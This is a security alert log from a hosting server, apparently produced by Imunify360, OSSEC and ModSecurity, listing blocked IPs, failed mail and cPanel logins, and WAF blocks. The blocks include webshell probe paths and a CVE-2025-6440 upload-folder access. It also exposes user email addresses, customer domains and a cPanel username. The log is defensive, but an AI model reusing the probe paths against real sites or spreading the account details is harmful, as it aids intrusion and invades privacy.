plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:54:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 17:54:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:56:25 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:57:33 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:59:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.116
country_id: 3469034
description:
Jan 27 17:59:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 18:00:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63712: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:01:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:03:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:05:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.127
country_id: 953987
description:
Jan 27 18:06:46 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.127
country_id: 953987
description:
Jan 27 18:07:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.112.105.140
country_id: 3175395
description:
Jan 27 18:07:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.112.105.140 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:07:33 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 18:07:51 H=([209.50.250.104]) [209.50.250.104]:56262 F=<lwicpfqn@nexuscollection.com> rejected RCPT <info@nexuscollection.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:08:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.45
country_id: 3175395
description:
Jan 27 18:09:54 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.45
country_id: 3175395
description:
Jan 27 18:10:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:10:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-27 18:12:09 H=([45.144.212.50]) [45.144.212.50]:52738 F=<akotzias@pilotms.com> rejected RCPT <astkua@astlog.com.my>: No Such User Here


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:13:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.69.7
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/img/img/img/img/demos/clientele.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:14:14 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.95.205
country_id: 3865483
description:
Jan 27 18:14:34 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.95.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/malaysia-infinity-design-projects/img/video.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.34.197
country_id: 2395170
description:
Jan 27 18:15:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.34.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.171.134.0
country_id: 1562822
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/new1.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 18:15:27 H=([104.37.174.67]) [104.37.174.67]:56044 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <laupk@chs.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/m.me/img/druma_photos/private-residence.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.62.161.161
country_id: 3439705
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/new5.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:16:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.197.145.33
country_id: 1819730
description:
Jan 27 18:16:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.197.145.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.33
country_id: 1819730
description:
2026-01-27 18:16:46 dovecot_login authenticator failed for H=(223-197-145-33.static.imsbiz.com) [223.197.145.33]:53866: 535 Incorrect authentication data (set_id=purchasing3@ocned.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.7
country_id: 798544
description:
Jan 27 18:18:27 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:18:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/images/images/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.200.180.174
country_id: 6252001
description:
Jan 27 18:19:26 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.200.180.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.200.180.174
country_id: 6252001
description:
2026-01-27 18:19:28 dovecot_login authenticator failed for H=survey.hagbergconsulting.com [207.200.180.174]:64370: 535 Incorrect authentication data (set_id=hapiz@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.36.8
country_id: 2395170
description:
Jan 27 18:19:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.36.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:19:47 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.141
country_id: 3469034
description:
Jan 27 18:19:17 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.141 has been locked due to Imunify RBL


plugin: modsec
rule: 77517934
name: IM360 WAF: Access to PHP file in WCDP uploads blocked (CVE-2025-6440)
abuser: 85.203.21.156
country_id: 1880251
domain: ahfengineering.com
description:
IM360 WAF: Access to PHP file in WCDP uploads blocked (CVE-2025-6440)||MV:/wp-content/uploads/wcdp-uploads/temp/xxc/stuff/wp-class.php||SC:||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:21:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 18:24:49 H=([209.50.250.104]) [209.50.250.104]:55820 F=<qpkgaumhh@pspoly.com.my> rejected RCPT <aliff@pspoly.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:24:12 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.54
country_id: 690791
description:
2026-01-27 18:24:36 H=([45.144.212.54]) [45.144.212.54]:63091 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<events@latinserverhost.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:25:20 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 18:25:35 H=([104.37.174.67]) [104.37.174.67]:57180 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <lowkeesen@nobledec.com>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:27:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 18:28:54 H=([209.50.250.104]) [209.50.250.104]:61341 F=<hfovkq@fkr.com.my> rejected RCPT <anthonyj@fkr.com.my>: Mail to anthonyj@fkr.com.my has been suspended


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:29:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:30:53 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:32:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.144
country_id: 3469034
description:
Jan 27 18:33:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:35:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.241
country_id: 3175395
description:
Jan 27 18:35:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:36:26 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:38:31 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:40:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.44
country_id: 690791
description:
2026-01-27 18:40:17 H=([45.144.212.44]) [45.144.212.44]:59838 F=<ftirado@atom-spain.com> rejected RCPT <francis@aire-fresh.com>: SPF: 45.144.212.44 is not allowed to send mail from atom-spain.com


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.79.30
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-40.92.71.79.30||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 18:41:21 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:41:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.4
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.67||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/share/mysql/romanian/errmsg.sys||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:44:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 18:44:03 H=([209.50.250.104]) [209.50.250.104]:59259 F=<mnzlydzjcc@euratech.com.my> rejected RCPT <euratech@euratech.com.my>: smtp auth required


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.203
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.67||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/share/mysql/georgian/errmsg.sys||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.240
country_id: 3865483
description:
Jan 27 18:44:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.57.144
country_id: 1269750
description:
Jan 27 18:45:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.57.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:46:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:47:31 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.5.210
country_id: 2300660
description:
Jan 27 18:47:21 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.5.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:49:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:51:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 128.106.168.241
country_id: 1880251
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul style=\"margin-top: 0in;\" type=\"disc\">\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">update report for export &amp; import schedule (new order &amp; update existing order).&nbsp;</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up inspection status with tvs for hkjc order.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">send do to bt forwarding for endorsement.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">send shipping documents to hkjc.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up revised draft bl from whitby.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">send vessl details pre alert to lex.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">vet draft docs from bhf.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">request bl draft for future forwarding for lex order.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up signed do from ffc.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\">send weekly report to hkjc.</li>\r\n</ul>||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.251.204.58
country_id: 1527747
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Tests/BinaryFileResponseTest.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:53:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:55:08 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 18:56:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63285: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:57:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:58:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.191
country_id: 690791
description:
Jan 27 18:59:56 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.191
country_id: 690791
description:
Jan 27 19:00:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:00:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.176.204.8
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/swiftmailer/swiftmailer/lib/swift_required.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:03:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:04:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 19:06:11 H=([209.50.250.104]) [209.50.250.104]:55459 F=<ugzuzmdwv@ktlog.com.my> rejected RCPT <marylinkoh@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:06:14 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.187.131.218
country_id: 272103
description:
2026-01-27 19:06:47 dovecot_plain authenticator failed for H=(R9YP57Z8UQI) [185.187.131.218]:59904: 535 Incorrect authentication data (set_id=hhling@af-sb.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.120.163.110
country_id: 2017370
description:
Jan 27 19:07:38 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.120.163.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.120.163.110
country_id: 2017370
description:
2026-01-27 19:07:40 dovecot_login authenticator failed for H=(dialup-solikamsk-212.120.163.110.uralcom.com) [212.120.163.110]:36005: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:08:34 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.99.150.137
country_id: 2635167
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/3196769273.jpg&size=262*388 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.202.35.161
country_id: 1831722
description:
[2026-01-27 19:08:53 +0800] info [cpaneld] 160.202.35.161 - nexus2019 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 140.233.179.137
country_id: 2017370
domain: www.nobledec.com
description:
